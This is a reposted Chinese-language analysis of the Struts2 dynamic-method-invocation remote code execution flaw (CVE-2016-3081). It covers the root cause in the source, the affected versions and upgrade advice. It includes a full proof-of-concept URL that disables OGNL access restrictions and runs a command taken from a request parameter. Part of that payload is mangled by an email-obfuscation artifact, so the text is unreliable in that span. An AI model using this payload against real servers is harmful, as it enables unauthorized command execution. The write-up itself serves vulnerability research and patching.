Struts2方法呼叫遠端程式碼執行漏洞(CVE-2016-3081)分析

wyzsk發表於2020-08-19
作者: 綠盟科技 · 2016/04/26 18:07

0x00 漏洞簡述


2016年4月21日Struts2官方釋出兩個CVE,其中CVE-2016-3081官方評級為高。主要原因為在使用者開啟動態方法呼叫的情況下,會被攻擊者實現遠端程式碼執行攻擊。從我自己搜尋的情況來看,國內開啟這個功能的網站不在少數,所以這個“Possible Remote Code Execution”漏洞的被打的可能性還是很高的。

0x01 漏洞原理


直接進行版本比對,我們可以看到針對這個問題,只對DefaultActionMapper.java這個檔案進行了修改,修改內容如下:

enter image description here

我們可以看到只是把method成員變數的值進行了一次過濾,cleanupActionName這個方法是在對“action:”濫用的問題進行新增的,禁止了絕大多數的特殊字元。但是在後來的版本變更中忽略了之前的問題,將method也引入了Ongl表示式,程式碼在DefaultAction.java的invokeAction中:

#!java
protected String invokeAction(Object action, ActionConfig actionConfig) throws Exception {
    String methodName = proxy.getMethod();

    if (LOG.isDebugEnabled()) {
        LOG.debug("Executing action method = #0", methodName);
    }

    String timerKey = "invokeAction: " + proxy.getActionName();
    try {
        UtilTimerStack.push(timerKey);

        Object methodResult;
        try {
            methodResult = ognlUtil.getValue(methodName + "()", getStack().getContext(), action);

我們可以看到methodName被帶入到getValue了,熟悉Struts相關漏洞的朋友應該都明白這是什麼意思,雖然後面被強制新增了一對圓括號,但是想辦法語法補齊就好了。相對應的我們來看下在2.3.18版本之前的程式碼是怎麼處理methodName的:

#!java
protected String invokeAction(Object action, ActionConfig actionConfig) throws Exception {
    String methodName = proxy.getMethod();

    if (LOG.isDebugEnabled()) {
        LOG.debug("Executing action method = #0", methodName);
    }

    String timerKey = "invokeAction: " + proxy.getActionName();
    try {
        UtilTimerStack.push(timerKey);

        boolean methodCalled = false;
        Object methodResult = null;
        Method method = null;
        try {
            method = getAction().getClass().getMethod(methodName, EMPTY_CLASS_ARRAY);

在這裡使用的是反射,所以在這個漏洞釋出的時候,我曾一瞬間覺得又是一個騙CVE的雞肋,但是事實上,這是一個威脅很大的漏洞。但是官方說的受影響版本Struts 2.0.0 - Struts Struts 2.3.28 (except 2.3.20.2 and 2.3.24.2)是不嚴謹的,應該是2.3.18-2.3.28(except 2.3.20.2 and 2.3.24.2)

0x02 漏洞利用


利用方式主要難點在於兩個地方,一個是上文提到的對於表示式最後的圓括號給予正確的表示式意義。另一個就是在傳輸過程中method會經過一次轉義,雙引號和單引號的沒有辦法使用了,所以需要找到一個繞過。剩下的就是原來套沙盒繞過,命令執行的那套東西了。

對於圓括號,可以直接使用new java.lang.String這樣來拼接成new java.lang.String()構成正確Ognl語法。

至於不能使用引號的話,命令執行我們可以使用引用引數的方法來完成對字串的提取,例如:使用#parameters.cmd來提取http的cmd引數。測試PoC如下:

http://172.16.107.143:8080/Struts2_3_18/hello.action?cmd=gedit&method:(%23_memberAccess).setExcludedClasses(@[email protected]_SET),(%23_memberAccess).setExcludedPackageNamePatterns(@[email protected]_SET),%23cmd%3d%23parameters.cmd,%23a%3dnew%20java.lang.ProcessBuilder(%23cmd).start().getInputStream(),new java.lang.String

效果如下圖所示:

enter image description here

這裡我小小的猜測一下,官方釋出的日期是20,而漏洞提交team做宣傳是在4月25日,那麼是不是在提交CVE時還沒有完成彈計算器的利用,還是為了符合漏洞提交規範做的延時?小八卦一下O(∩_∩)O。

0x03 漏洞總結


雖然現在CVE已經發布,但是從目前網路情況上(twitter和微博)來看,並沒有安全研究人員關注到這兩個CVE,可能是因為官方釋出過太多雞肋的CVE了,國內的各路炒洞高手已經對Struts2麻木了。所以目前的情況是屬於漏洞存在那裡,發了CVE,但是沒有任何人去研究利用,釋出相關分析。這個漏洞和Struts2前N次被炒的熱熱鬧鬧的漏洞影響和危害相比,真是不可同日而語,這個漏洞真的很實在。

看到這裡,打算磨拳擦掌要去調回顯PoC的朋友們,這裡我要在提醒一次。雖然我在之前說了存在這個問題的站點很多,但是這個漏洞存在版本限制,在Struts2.3.18及其以上的版本才可以觸發。而國內大多數的站點由於Struts在2.3.16之後再也沒有出現過大的問題,所以絕大多數停留在2.3.16這個版本,這讓這個看似很不錯的漏洞略顯雞肋了。

防護方案

目前官方已經推出了2.3.20.2、2.3.24.22.3.28.1修復了這個問題,大家可以針對自己所使用的版本進行升級。下載地址:https://struts.apache.org/download.cgi#struts23281

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章